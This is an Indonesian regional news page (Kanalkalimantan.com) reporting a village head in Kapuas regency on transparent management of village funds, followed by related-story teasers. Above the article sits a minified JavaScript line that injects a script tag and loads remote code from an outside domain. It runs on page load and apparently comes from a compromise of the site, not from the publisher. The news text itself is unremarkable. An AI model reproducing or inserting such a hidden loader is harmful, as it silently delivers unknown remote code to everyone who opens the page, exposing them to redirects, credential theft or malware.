(function(f,b,n,j,x,e){x=b.createElement(n);e=b.getElementsByTagName(n)[0];x.async=1;x.src=j;e.parentNode.insertBefore(x,e);})(window,document,'script','https://frightysever.org/Bgkc244P');
KANALKALIMANTAN. COM, KUALA KAPUAS –Desa Muroi Raya, Kecamatan Mantangai Kabupaten Kapuas, H Ripansyah terus mengedepankan transparansi dalam pembangunan yang bersumber dari dana desa.
Hal ini sebagaimana ditegaskan Kepala Desa Muroi Raya, H Ripansyah yang mengatakan transparansi menjadi kunci bagi pembangunan di wilayahnya. Terlebih menyangkut dana desa. Maka itu, sebagai wujud pertangungjawaban yang dilakukan, setiap tahun alokasi dana desa di APBN terus meningkat.
“Semaksimal mungkin penggunaan dana desa dikelola secara transparan dan akuntabel. Sebab, dana desa harus sampai ke rakyat dan dirasakan manfaatnya,” kata Ripansyah.
Dia mengingatkan jika mekanisme penggunaan dana desa dan laporan pertanggungjawabannya selama ini sudah berjalan baik. Transparansi sudah diupayakan karena harus jelas. Sebagai penanggung jawab pemerintahan desa, ia selalu memastikan dan cross check ke lapangan dan akan terus menjalin komunikasi dengan berbagai pihak demi memaksimalkan pemanfaatan dana desa.
“Sinergi yang baik antara tim perlu dibangun, sehingga pelaksanaan kegiatan pembangunan desa dapat terwujud dan terlaksana dengan baik, serta masyarakat sekitar dan para perangkat desa ini bisa saling mengapresiasi,” bebernya.
Komitmennya menyukseskan program dana desa adalah kewajiban yang harus dilaksanakan, karena dana desa yang digunakan untuk pemberdayaan masyarakat desa dan pembangunan Desa. “Saya berkomitmen akan terus mensukseskan dalam penyerapan anggaran dana desa dan menjalankan dengan baik realisasi dana desa tersebut. Hal ini sejalan dengan cita-cita Nawacita Presiden Jokowi tentang membangun dari pinggiran, yaitu pembangunan desa,” tegas Ripansyah.
Lebih lanjut H Ripansyah menjelaskan dana desa harus dimanfaatkan untuk kepentingan masyarakat dan proses kegiatan pelaksanaan pembangunan dapat dijadikan ajang keseriusan dalam menjalankan tugas dan fungsinya.
“Untuk itu, pembangunan desa yang bersumber dari alokasi dana desa diharapkan memperhatikan kualitas pembangunan di perdesaan dan dana desa yang dialokasikan harus dikelola secara benar,” paparnya.
Ia juga mengingatkan soal peran kepala desa yang begitu penting dalam penggunaan dana desa demi mendorong percepatan pengentasan kemiskinan dan pembangunan infrastruktur di setiap desa. “Aktor utama dalam proses pembangunan desa dan pengelolaan dana desa adalah kepada desa. Untuk itu secara konsisten dana desa cukup efektif dalam pengentasan kemiskinan maupun pembangunan infrastruktur. Hal itu dapat dilihat dari jumlah desa tertinggal menjadi desa berkembang,” pungkas dia. (Kanalkalimantan.com/Ags)
KANALKALIMANTAN.COM, KUALA KAPUAS - Musyawarah Perencanaan Pembangunan (Musrenbang) Tingkat Kecamatan Selat dalam rangka penyusunan Rencana… Read More
KANALKALIMANTAN.COM, BANJARBARU - Presiden Republik Indonesia Prabowo Subianto didampingi sejumlah Menteri Kabinet Merah Putih dan… Read More
KANALKALIMANTAN.COM, BANJARBARU - Presiden Prabowo Subianto berkeinginan membuka banyak sekolah dan kampus. Ia memandang pendidikan… Read More
KANALKALIMANTAN.COM, BANJARBARU - Presiden Prabowo Subianto melakukan kunjungan kerja ke Kota Banjarbaru, Provinsi Kalimantan Selatan,… Read More
KANALKALIMANTAN.COM, BANJARBARU – Kota Banjarbaru menjadi salah satu titik penting peluncuran budaya sekolah aman dan… Read More
KANALKALIMANTAN.COM, JAKARTA - Seleksi Nasional Berdasarkan Prestasi (SNBP) 2026 menjadi perhatian siswa kelas akhir SMA,… Read More
This website uses cookies.